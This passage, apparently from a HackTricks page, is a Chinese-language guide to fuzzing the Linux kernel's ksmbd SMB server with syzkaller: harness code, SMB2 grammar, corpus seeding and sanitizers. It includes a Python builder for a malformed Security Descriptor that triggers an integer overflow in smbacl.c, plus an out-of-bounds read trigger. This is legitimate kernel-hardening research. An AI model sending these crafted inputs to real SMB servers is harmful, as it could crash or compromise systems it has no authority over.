启用这些会增加以下模块的执行:
|
||||
- smb2pdu.c (command parsing/dispatch)
|
||||
- ndr.c (NDR encode/decode)
|
||||
- oplock.c (oplock request/break)
|
||||
- smbacl.c (ACL parsing/enforcement)
|
||||
- vfs.c (VFS ops)
|
||||
- vfs_cache.c (lookup cache)
|
||||
|
||||
Notes
|
||||
- 精确选项取决于你发行版的 ksmbd userspace (ksmbd-tools)。查看 /etc/ksmbd/ksmbd.conf 以及每个 share 的配置区块以启用 durable handles、leases、oplocks 和 VFS objects。
|
||||
- Multi-channel 与 durable handles 会改变状态机和生命周期,在并发条件下常常暴露 UAF/refcount/OOB 类错误。
|
||||
|
||||
---
|
||||
|
||||
## Authentication and Rate-Limiting Adjustments for Fuzzing
|
||||
SMB3 需要一个有效 session。 在 harness 中实现 Kerberos 会增加复杂性,因此模糊测试时优先使用 NTLM/guest:
|
||||
|
||||
- 允许 guest 访问并将 map to guest 设为 bad user,这样未知用户会回退到 GUEST。
|
||||
- 接受 NTLMv2(如果被禁用则打补丁)。这能让握手更简单,同时覆盖 SMB3 的代码路径。
|
||||
- 在试验时可以去掉严格的 credit 检查(post-hardening for CVE-2024-50285 使 simultaneous-op crediting 更严格)。否则,速率限制可能会过早拒绝模糊生成的序列。
|
||||
- 增加 max connections(例如到 65536)以避免在高吞吐模糊测试时被过早拒绝。
|
||||
|
||||
注意:这些放宽仅用于便于模糊测试。不要在生产环境中使用这些设置。
|
||||
|
||||
---
|
||||
|
||||
## Stateful Harness: Extract Resources and Chain Requests
|
||||
SMB 是有状态的:许多请求依赖于先前响应中返回的标识符(SessionId、TreeID、FileID 对)。你的 harness 必须解析响应并在同一程序内重用 ID,以到达更深的处理器(例如 smb2_create → smb2_ioctl → smb2_close)。
|
||||
|
||||
Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs:
|
||||
```c
|
||||
// process response. does not contain +4B PDU length
|
||||
void process_buffer(int msg_no, const char *buffer, size_t received) {
|
||||
uint16_t cmd_rsp = u16((const uint8_t *)(buffer + CMD_OFFSET));
|
||||
switch (cmd_rsp) {
|
||||
case SMB2_TREE_CONNECT:
|
||||
if (received >= TREE_ID_OFFSET + sizeof(uint32_t))
|
||||
tree_id = u32((const uint8_t *)(buffer + TREE_ID_OFFSET));
|
||||
break;
|
||||
case SMB2_SESS_SETUP:
|
||||
// first session setup response carries session_id
|
||||
if (msg_no == 0x01 && received >= SESSION_ID_OFFSET + sizeof(uint64_t))
|
||||
session_id = u64((const uint8_t *)(buffer + SESSION_ID_OFFSET));
|
||||
break;
|
||||
case SMB2_CREATE:
|
||||
if (received >= CREATE_VFID_OFFSET + sizeof(uint64_t)) {
|
||||
persistent_file_id = u64((const uint8_t *)(buffer + CREATE_PFID_OFFSET));
|
||||
volatile_file_id = u64((const uint8_t *)(buffer + CREATE_VFID_OFFSET));
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
```
|
||||
提示
|
||||
- 保持单个 fuzzer 进程共享认证/状态:在 ksmbd 的 global/session tables 上可以获得更好的稳定性和覆盖率。syzkaller 仍然通过将 ops 标记为 async 并在内部重新运行来注入并发。
|
||||
- Syzkaller’s 实验性 reset_acc_state 可以重置 global state,但可能会引入严重的性能下降。优先考虑稳定性并专注于 fuzzing。
|
||||
|
||||
---
|
||||
|
||||
## 基于语法的 SMB2 生成(有效 PDUs)
|
||||
将 Microsoft Open Specifications 中的 SMB2 结构转换为 fuzzer grammar,以使你的生成器产生结构上有效的 PDUs,从而系统性地到达 dispatchers 和 IOCTL handlers。
|
||||
|
||||
示例(SMB2 IOCTL request):
|
||||
```
|
||||
smb2_ioctl_req {
|
||||
Header_Prefix SMB2Header_Prefix
|
||||
Command const[0xb, int16]
|
||||
Header_Suffix SMB2Header_Suffix
|
||||
StructureSize const[57, int16]
|
||||
Reserved const[0, int16]
|
||||
CtlCode union_control_codes
|
||||
PersistentFileId const[0x4, int64]
|
||||
VolatileFileId const[0x0, int64]
|
||||
InputOffset offsetof[Input, int32]
|
||||
InputCount bytesize[Input, int32]
|
||||
MaxInputResponse const[65536, int32]
|
||||
OutputOffset offsetof[Output, int32]
|
||||
OutputCount len[Output, int32]
|
||||
MaxOutputResponse const[65536, int32]
|
||||
Flags int32[0:1]
|
||||
Reserved2 const[0, int32]
|
||||
Input array[int8]
|
||||
Output array[int8]
|
||||
} [packed]
|
||||
```
|
||||
这种风格强制正确的结构大小/偏移,并且相对于盲目变异显著提高覆盖率。
|
||||
|
||||
---
|
||||
|
||||
## Directed Fuzzing With focus_areas
|
||||
使用 syzkaller 的实验性 focus_areas 对当前覆盖较弱的特定函数/文件赋予更高权重。示例 JSON:
|
||||
```json
|
||||
{
|
||||
"focus_areas": [
|
||||
{"filter": {"functions": ["smb_check_perm_dacl"]}, "weight": 20.0},
|
||||
{"filter": {"files": ["^fs/smb/server/"]}, "weight": 2.0},
|
||||
{"weight": 1.0}
|
||||
]
|
||||
}
|
||||
```
|
||||
这有助于构造有效的 ACLs,从而触发 smbacl.c 中的 arithmetic/overflow 路径。例如,一个具有过大 dacloffset 的恶意 Security Descriptor 可以重现 integer-overflow。
|
||||
|
||||
Reproducer builder (minimal Python):
|
||||
```python
|
||||
def build_sd():
|
||||
import struct
|
||||
sd = bytearray(0x14)
|
||||
sd[0x00] = 0x00; sd[0x01] = 0x00
|
||||
struct.pack_into('<H', sd, 0x02, 0x0001)
|
||||
struct.pack_into('<I', sd, 0x04, 0x78)
|
||||
struct.pack_into('<I', sd, 0x08, 0x00)
|
||||
struct.pack_into('<I', sd, 0x0C, 0x10000)
|
||||
struct.pack_into('<I', sd, 0x10, 0xFFFFFFFF) # dacloffset
|
||||
while len(sd) < 0x78:
|
||||
sd += b'A'
|
||||
sd += b"\x01\x01\x00\x00\x00\x00\x00\x00" # minimal DACL
|
||||
sd += b"\xCC" * 64
|
||||
return bytes(sd)
|
||||
```
|
||||
---
|
||||
|
||||
## 使用 ANYBLOB 打破覆盖率瓶颈
|
||||
syzkaller’s anyTypes (ANYBLOB/ANYRES) 允许将复杂结构折叠为可以通用变异的 blobs。 从公开的 SMB pcaps 中生成新的 corpus,并将 payloads 转换为调用你 pseudo-syscall(例如 syz_ksmbd_send_req)的 syzkaller 程序:
|
||||
```bash
|
||||
# Extract SMB payloads to JSON
|
||||
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
|
||||
```
|
||||
|
||||
```python
|
||||
import json, os
|
||||
os.makedirs("corpus", exist_ok=True)
|
||||
|
||||
with open("packets.json") as f:
|
||||
data = json.load(f)
|
||||
# adjust indexing to your tshark JSON structure
|
||||
packets = [e["_source"]["layers"]["tcp.payload"] for e in data]
|
||||
|
||||
for i, pkt in enumerate(packets):
|
||||
pdu = pkt[0]
|
||||
pdu_size = len(pdu) // 2 # hex string length → bytes
|
||||
with open(f"corpus/packet_{i:03d}.txt", "w") as f:
|
||||
f.write(
|
||||
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
|
||||
)
|
||||
```
|
||||
这能快速启动探索,并且可以立即触发 UAFs(例如,在 ksmbd_sessions_deregister 中),同时将覆盖率提高几个百分点。
|
||||
|
||||
---
|
||||
|
||||
## Sanitizers:超越 KASAN
|
||||
- KASAN 仍然是检测堆漏洞(UAF/OOB)的主要探测器。
|
||||
- KCSAN 在该目标上经常产生误报或低严重度的数据竞争。
|
||||
- UBSAN/KUBSAN 能捕获 KASAN 由于数组索引语义而遗漏的声明边界错误。示例:
|
||||
```c
|
||||
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
|
||||
struct smb_sid {
|
||||
__u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
|
||||
__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
|
||||
} __attribute__((packed));
|
||||
```
|
||||
Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught by UBSAN’s declared-bounds checks.
|
||||
|
||||
---
|
||||
|
||||
## 吞吐量与并行性说明
|
||||
- 单个 fuzzer 进程(共享 auth/state)对于 ksmbd 通常更稳定,并且仍能借助 syzkaller 的内部 async executor 触发 races/UAFs。
|
||||
- 在多台 VMs 下,总体仍可达到每秒数百个 SMB 命令。函数级覆盖率大致可达 fs/smb/server 约 60% 和 smb2pdu.c 约 70%,但这些度量通常不能充分反映 state-transition 的覆盖情况。
|
||||
|
||||
---
|
||||
|
||||
## 实用检查清单
|
||||
- 在 ksmbd 中启用 durable handles、leases、multi-channel、oplocks 和 VFS objects。
|
||||
- 允许 guest 和 map-to-guest;接受 NTLMv2。移除 credit limits 并提高 max connections 以提升 fuzzer 稳定性。
|
||||
- 构建有状态的 harness,缓存 SessionId/TreeID/FileIDs 并串联 create → ioctl → close。
|
||||
- 使用 SMB2 PDUs 的 grammar 以保持结构有效性。
|
||||
- 使用 focus_areas 对覆盖薄弱的函数加权(例如 smbacl.c 中的 smb_check_perm_dacl 路径)。
|
||||
- 用来自真实 pcaps 的 ANYBLOB 作为种子以打破平台瓶颈;用 syz-db 打包 seeds 以便复用。
|
||||
- 使用 KASAN + UBSAN 运行;仔细处置 UBSAN 的 declared-bounds 报告。
|
||||
|
||||
---
|
||||
|
||||
## 参考资料
|
||||
- Doyensec – ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html
|
||||
- syzkaller: https://github.com/google/syzkaller
|
||||
- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4
|
||||
- Async executor change (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5
|
||||
- syz-db: https://github.com/google/syzkaller/tree/master/tools/syz-db
|
||||
- KASAN: https://docs.kernel.org/dev-tools/kasan.html
|
||||
- UBSAN/KUBSAN: https://docs.kernel.org/dev-tools/ubsan.html
|
||||
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
|
||||
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
|
||||
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
|
||||
- Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user